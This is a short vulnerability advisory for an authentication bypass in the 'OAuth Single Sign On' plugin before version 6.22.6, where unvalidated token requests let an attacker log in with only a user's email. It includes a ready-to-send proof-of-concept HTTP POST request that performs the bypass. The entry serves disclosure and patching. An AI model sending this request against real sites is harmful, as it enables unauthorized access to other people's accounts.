OAuth Single Sign On < 6.22.6 - Authentication Bypass

2022-06-2700:00:00

Lana Codes

288

0.001 Low

EPSS

Percentile

40.2%

JSON

The plugin doesn’t validate that OAuth access token requests are legitimate, which allows attackers to log onto the site with the only knowledge of a user’s email address.

POST / HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 40
Connection: close

option=mooauth&[email protected]